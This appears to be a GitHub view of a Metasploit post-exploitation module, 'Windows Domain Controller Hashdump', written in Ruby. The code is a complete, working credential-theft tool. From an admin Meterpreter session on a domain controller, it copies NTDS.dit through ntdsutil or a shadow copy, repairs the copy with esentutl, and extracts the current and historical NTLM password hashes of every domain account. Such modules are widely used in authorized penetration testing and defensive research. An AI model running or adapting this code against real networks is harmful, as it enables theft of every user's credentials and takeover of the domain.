/
domain_hashdump.rb
203 lines (183 loc) · 6.46 KB
/
domain_hashdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/ntds/parser'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::File
include Msf::Post::Windows::ExtAPI
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Domain Controller Hashdump',
'Description' => %q{
This module attempts to copy the NTDS.dit database from a live Domain Controller
and then parse out all of the User Accounts. It saves all of the captured password
hashes, including historical ones.
},
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
extapi_ntds_parse
stdapi_fs_stat
]
}
}
)
)
deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
register_options(
[
OptBool.new(
'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
)
]
)
end
def run
if preconditions_met?
print_status 'Pre-conditions met, attempting to copy NTDS.dit'
ntds_file = copy_database_file
unless ntds_file.nil?
file_stat = client.fs.file.stat(ntds_file)
print_status "NTDS File Size: #{file_stat.size} bytes"
print_status 'Repairing NTDS database after copy...'
print_status repair_ntds(ntds_file)
realm = sysinfo['Domain']
begin
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Failed to properly parse database: #{e}")
if e.to_s.include? '1004'
print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')
end
end
unless ntds_parser.nil?
print_status 'Started up NTDS channel. Preparing to stream results...'
ntds_parser.each_account do |ad_account|
print_good ad_account.to_s
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
ad_account.nt_history.each_with_index do |nt_hash, index|
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
hash_string << ":#{nt_hash}"
report_hash(hash_string.downcase, ad_account.name, realm)
end
end
end
if datastore['cleanup']
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
rm_f(ntds_file)
else
print_bad "#{ntds_file} requires manual cleanup"
end
end
end
end
def copy_database_file
version = get_version_info
if version.windows_server?
if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
print_status 'Using Volume Shadow Copy Method'
return vss_method
elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
print_status 'Using NTDSUTIL method'
return ntdsutil_method
end
end
print_error 'This version of Windows is unsupported'
return nil
end
def ntds_exists?
return false unless ntds_location
file_exist?("#{ntds_location}\\ntds.dit")
end
def ntds_location
@ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\', 'DSA Working Directory')
end
def ntdsutil_method
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
result = cmd_exec('ntdsutil.exe', command_arguments, 90)
if result.include? 'IFM media created successfully'
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
print_status "NTDS database copied to #{file_path}"
else
print_error 'There was an error copying the ntds.dit file!'
vprint_error result
file_path = nil
end
file_path
end
def preconditions_met?
unless is_admin?
print_error('This module requires Admin privs to run')
return false
end
print_status('Session has Admin privs')
unless domain_controller?
print_error('Host does not appear to be an AD Domain Controller')
return false
end
print_status('Session is on a Domain Controller')
unless ntds_exists?
print_error('Could not locate ntds.dit file')
return false
end
unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)
fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')
end
session_compat?
end
def repair_ntds(path = '')
arguments = "/p /o \"#{path}\""
cmd_exec('esentutl', arguments)
end
def report_hash(ntlm_hash, username, realm)
cred_details = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
private_type: :ntlm_hash,
private_data: ntlm_hash,
username: username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: realm,
workspace_id: myworkspace_id
}
create_credential(cred_details)
end
def session_compat?
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
print_error 'You are running 32-bit Meterpreter on a 64 bit system'
print_error 'Try migrating to a 64-bit process and try again'
false
else
true
end
end
def vss_method
unless start_vss
fail_with(Failure::NoAccess, 'Unable to start VSS service')
end
location = ntds_location.dup
location.slice!(0, 3)
id = create_shadowcopy(volume.to_s)
print_status "Getting Details of ShadowCopy #{id}"
sc_details = get_sc_details(id)
sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
print_status "Moving ntds.dit to #{target_path}"
move_file(sc_path, target_path)
target_path
end
end